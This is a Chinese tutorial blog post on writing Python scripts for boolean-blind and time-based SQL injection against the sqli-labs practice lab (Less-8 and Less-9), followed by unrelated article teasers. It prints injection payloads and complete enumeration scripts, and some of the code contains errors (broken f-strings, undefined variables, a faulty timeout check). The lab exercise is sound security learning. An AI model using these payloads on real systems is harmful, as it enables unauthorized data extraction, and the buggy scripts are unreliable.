SQL注入脚本编写

news2025/2/27 23:11:38

文章目录

  • 布尔盲注脚本
  • 延时注入脚本

安装xampp,在conf目录下修改它的http配置文件,如下,找到配置文件:

在这里插入图片描述

修改配置文件中的默认主页,让xampp能访问phpstudy的www目录,因为xampp的响应速度比phpstudy快得多,所以用它做SQL注入脚本的服务器:

在这里插入图片描述

布尔盲注脚本

以sqli-labs第8关为例,在第8关进行测试,发现该关是字符型注入:

在这里插入图片描述

构建一个payload用来布尔盲注,判断数据库名称的长度:

?id=2' and length(database())=1 --+

URL为:

url="http://10.9.75.164/sqli-labs/Less-8/index.php"

构建一个循环注入的while循环(不知道循环次数时用while):

while True:
	i += 1
	payload= f"?id=2' and length(database())={i} -- "

构建完整的url并发送请求包:

full_url=url+ payload
print(full_url)
res= requests.get(url= full_url)

可以发现,在正确注入时页面会回显"You are in…",以此为中止的标志,输出长度:

if "You are in........."in res.text:
	print(f"[*] The length is (i}")
	break

完整脚本:

import requests

url="http://10.9.75.164/sqli-labs/Less-8/index.php"

i=0
while True:
	i += 1
	payload= f"?id=2' and length(database())={i} -- "
	
	full_url=url+ payload
	print(full_url)
	
	res= requests.get(url= full_url)
	
	if "You are in........."in res.text:
	print(f"[*] The length:(i}")
	break

输出结果如下,获得了数据库的长度为8:
在这里插入图片描述

然后用布尔盲注获取数据库名称,每个字符逐个获取:

ord方法将字符转ASCII码

string.printable.strip()生成可打印字符串

import string
c_set= string.printable.strip()
for i in range(con_len):
	for c in c_set:
		payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "
		
		full_url= url+ payload
		print(full_url)
		
		res = requests.get(url= full_url)
		if "you are in........." in res.text:
			con+= c
			print(f"[*] The content: {con}")

完整脚本如下:

import string
import requests

url="http://10.9.75.164/sqli-labs/Less-8/index.php"

i=0
while True:
	i += 1
	payload= f"?id=2' and length(database())={i} -- "
	
	full_url=url+ payload
	print(full_url)
	
	res= requests.get(url= full_url)
	
	if "You are in........."in res.text:
	print(f"[*] The length:(i}")
	break
c_set= string.printable.strip()
for i in range(con_len):
	for c in c_set:
		payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "
		
		full_url= url+ payload
		print(full_url)
		
		res = requests.get(url= full_url)
		if "you are in........." in res.text:
			con+= c
			print(f"[*] The content: {con}")

运行结果如下,成功遍历出数据库名称:

在这里插入图片描述

延时注入脚本

以sqli-labs第9关为例,经过测试这关无报错注入、布尔盲注和联合查询,只能用延时注入,页面有延迟:

在这里插入图片描述

和布尔盲注思路一样,先获取数据库名称的长度,再获取内容,用if和sleep函数构造一个payload 如下:

payload="?id=1' and if(length(database())=1, sleep(5),1) -- "

延时注入脚本和布尔盲注思路类似,不同的是,延时注入脚本构建了一个超时函数,然后用if语句来判断有延时注入的URL,如果请求正常,就将请求正文返回,并在while循环中和payload拼接构成完整的url并输出,如果超时,就输出此时payload的长度。

下面是完整脚本:

import requests
url="http://10.9.75.164/sqli-labs/Less-9/index.php"

con_len=0
con=""
def get_timeout(url):
	try:
		res  = requests.get(url= url,timeout= 3)
	except:
		return "timeout"
	else:
		return res.text
while True:
	con_len+= 1
	payload= f"?id=1' and if(length(database())={con_len},sleep(5),1) -- "
	
	full_url= url+ payload
	
	if "timeout" in get_timeout(full_url):
		print(f"[*] The length of content: {con_len}")
		break

如图,脚本执行后在超时时返回长度:

在这里插入图片描述

然后和布尔盲注遍历出数据库名称一样,用for循环做数据库名称遍历,将if语句中判断的内容改为timeout即可:

import requests
import string
url="http://10.9.75.164/sqli-labs/Less-9/index.php"

con_len=0
con=""
def get_timeout(url):
	try:
		res  = requests.get(url= url,timeout= 3)
	except:
		return "timeout"
	else:
		return res.text
while True:
	con_len+= 1
	payload= f"?id=1' and if(length(database())={con_len},sleep(5),1) -- "
	
	full_url= url+ payload
	print(full_url)
	
	if "timeout" in get_timeout(full_url):
		print(f"[*] The length of content: {con_len}")
		break
c_set= string.printable.strip()
for i in range(con_len):
	for c in c_set:
		payload= f"?id=2' and ascii(substr(database(),{i+ 1},1))={ord(c)} -- "
		
		full_url= url+ payload
		
		res = requests.get(url= full_url)
		if "timeout" in res.text:
			con+= c
			print(f"[*] The content: {con}")

运行结果如下,成功获得数据库名称:

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1030559.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

使用EasyExcel后端导出excel

官方文档:关于Easyexcel | Easy Excel 这里进行简单记录,方便确定是不是适用此方式: 零:实体类中注解用法 一:读excel /*** 强制读取第三个 这里不建议 index 和 name 同时用,要么一个对象只用index&…

代码随想录算法训练营第二天(C) | 977.有序数组的平方 209.长度最小的子数组 59.螺旋矩阵

文章目录 前言一、977.有序数组的平方二、209.长度最小的子数组三、59.螺旋矩阵总结 前言 java版: 代码随想录算法训练营第二天 | 977.有序数组的平方 ,209.长度最小的子数组 ,59.螺旋矩阵_愚者__的博客-CSDN博客 一、977.有序数组的平方 …

Python环境配置及基础用法Pycharm库安装与背景设置及避免Venv文件夹

目录 一、Python环境部署及简单使用 1、Python下载安装 2、环境变量配置 3、检查是否安装成功 4、Python的两种模式(编辑模式&交互模式) 二、Pycharm库安装与背景设置 1、Python库安装 2、Pycharm自定义背景 三、如何避免Venv文件夹 一、P…

【Java 基础篇】Java TCP通信详解

TCP(Transmission Control Protocol)是一种面向连接的、可靠的网络传输协议,它提供了端到端的数据传输和可靠性保证。TCP通信适用于对数据传输的可靠性和完整性要求较高的场景,如文件传输、网页浏览等。本文将详细介绍Java中如何使…

搜索二叉树【C++】

文章目录 二叉搜索树二叉搜索树的模拟实现构造函数拷贝构造函数赋值运算符重载函数析构函数Insert循环递归 Erase循环递归 Find循环递归 二叉搜索树的应用K模型KV模型 完整代码普通版本递归版本 二叉搜索树 二叉搜索树又称为二叉排序树,它或者是一棵空树&#xff0…

Spring Security 的身份验证绕过漏洞CVE-2023-34035

文章目录 0.前言漏洞漏洞介绍描述 1.参考文档2.基础介绍2.1 组件简介:2.2 漏洞简介: 3.解决方案3.1. 升级版本 0.前言 背景:公司收到关于 Spring Security 的一个身份验证绕过漏洞的通知,该漏洞被标识为 CVE-2023-34035 漏洞 高 …

滴滴可观测平台 Metrics 指标实时计算如何实现了又准又省?

在滴滴,可观测平台的 Metrics 数据有一些实时计算的需求,承载这些实时计算需求的是一套又一套的 Flink 任务。之所以会有多套 Flink 任务,是因为每个服务按照其业务观测需要不同的指标计算,也就对应了不同数据处理拓扑。我们尽力抽…

ruoyi-vue-pro yudao 项目商城 mall 模块启用及相关SQL脚本

目前ruoyi-vue-pro 项目虽然开源,但是商城 mall 模块被屏蔽了,查看文档却要收费 199元(知识星球),价格有点太高了吧。 分享下如何启用 mall 模块,顺便贴上sql相关脚本。 一、启用模块 修改根目录 pom.xm…

时序预测 | MATLAB实现POA-CNN-GRU鹈鹕算法优化卷积门控循环单元时间序列预测

时序预测 | MATLAB实现POA-CNN-GRU鹈鹕算法优化卷积门控循环单元时间序列预测 目录 时序预测 | MATLAB实现POA-CNN-GRU鹈鹕算法优化卷积门控循环单元时间序列预测预测效果基本介绍程序设计参考资料 预测效果 基本介绍 MATLAB实现POA-CNN-GRU鹈鹕算法优化卷积门控循环单元时间序…

工具篇 | Gradle入门与使用指南

介绍 1.1 什么是Gradle? Gradle是一个开源构建自动化工具,专为大型项目设计。它基于DSL(领域特定语言)编写,该语言是用Groovy编写的,使得构建脚本更加简洁和强大。Gradle不仅可以构建Java应用程序&#x…

亚马逊攀岩绳ASTM F2116 测试报告 EN892测试办理

攀岩绳是与攀岩安全带和锚点相连的一种装备,用于保护攀岩者,使其不会从高处跌落。攀岩绳由承重内芯和围绕内芯编织的护套组成。 亚马逊关于攀岩绳的政策 根据亚马逊的要求,所有攀岩绳均应经过检测,并且符合下列特定法规或标准要求…

使用GSAP创建惊艳的动画效果(一)

目录 GSAP简介GSAP的语法方法目标变量transform(变换)其它属性 vue中使用GSAP安装GSAP引用GSAP使用GSAP GSAP简介 GSAP是一个非常流行的js动画库,被广泛用于创建跨浏览器和跨平台的高性能动画。它的主要特点包括: 提供丰富的属性和方法,可用…

vue2中年份季度选择器(需要安装element)

调用 <!--父组件调用--><QuarterCom v-model"quart" clearable default-current/> 组件代码 <template><div><span style"margin-right: 10px">{{ label }}</span><markstyle"position:fixed;top:0;bottom:0…

人工智能安全-2-非平衡数据处理(2)

5 算法层面 代价敏感&#xff1a;设置损失函数的权重&#xff0c;使得少数类判别错误的损失大于多数类判别错误的损失&#xff1b; 单类分类器方法&#xff1a;仅对少数类进行训练&#xff0c;例如运用SVM算法&#xff1b; 集成学习方法&#xff1a;即多个分类器&#xff0c;然…

【Java 基础篇】Java网络编程实时数据流处理

在现代计算机应用程序中&#xff0c;处理实时数据流是一项关键任务。这种数据流可以是来自传感器、网络、文件或其他源头的数据&#xff0c;需要即时处理并做出相应的决策。Java提供了强大的网络编程工具和库&#xff0c;可以用于处理实时数据流。本文将详细介绍如何使用Java进…

Android之AMessage机制存/取原理(四十四)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 人生格言: 人生从来没有捷径,只有行动才是治疗恐惧和懒惰的唯一良药. 更多原创,欢迎关注:Android…

从零学习开发一个RISC-V操作系统(三)丨嵌入式操作系统开发的常用概念和工具

本篇文章的内容 一、嵌入式操作习系统开发的常用概念和工具1.1 本地编译和交叉编译1.2 调试器GDB&#xff08;The GNU Project Debugger&#xff09;1.3 QEMU模拟器1.4 项目构造工具Make 本系列是博主参考B站课程学习开发一个RISC-V的操作系统的学习笔记&#xff0c;计划从RISC…

Gnuplot:安装与使用备忘

异常信息 问题起源于 signalp-4.1 调用 gnuplot 进行画图&#xff0c;在画图的时候提示不支持 png 格式结果&#xff1a; $ gnuplotG N U P L O TVersion 5.0 patchlevel 0 last modified 2015-01-01Copyright (C) 1986-1993, 1998, 2004, 2007-2015Thomas Williams, Coli…

服务网格的工作原理:解析服务网格的核心组件和通信模式

&#x1f337;&#x1f341; 博主猫头虎 带您 Go to New World.✨&#x1f341; &#x1f984; 博客首页——猫头虎的博客&#x1f390; &#x1f433;《面试题大全专栏》 文章图文并茂&#x1f995;生动形象&#x1f996;简单易学&#xff01;欢迎大家来踩踩~&#x1f33a; &a…

实用!Python大型Excel文件处理:快速导入、导出与批量处理

Python 是一种功能强大的编程语言&#xff0c;它提供了丰富的库和工具&#xff0c;使得处理大型 Excel 文件变得容易和高效。下面将介绍如何使用 Python 快速导入、导出和批量处理大型 Excel 文件。下面是一些建议和实践经验&#xff0c;希望能对你有所帮助。 一、Excel 文件处…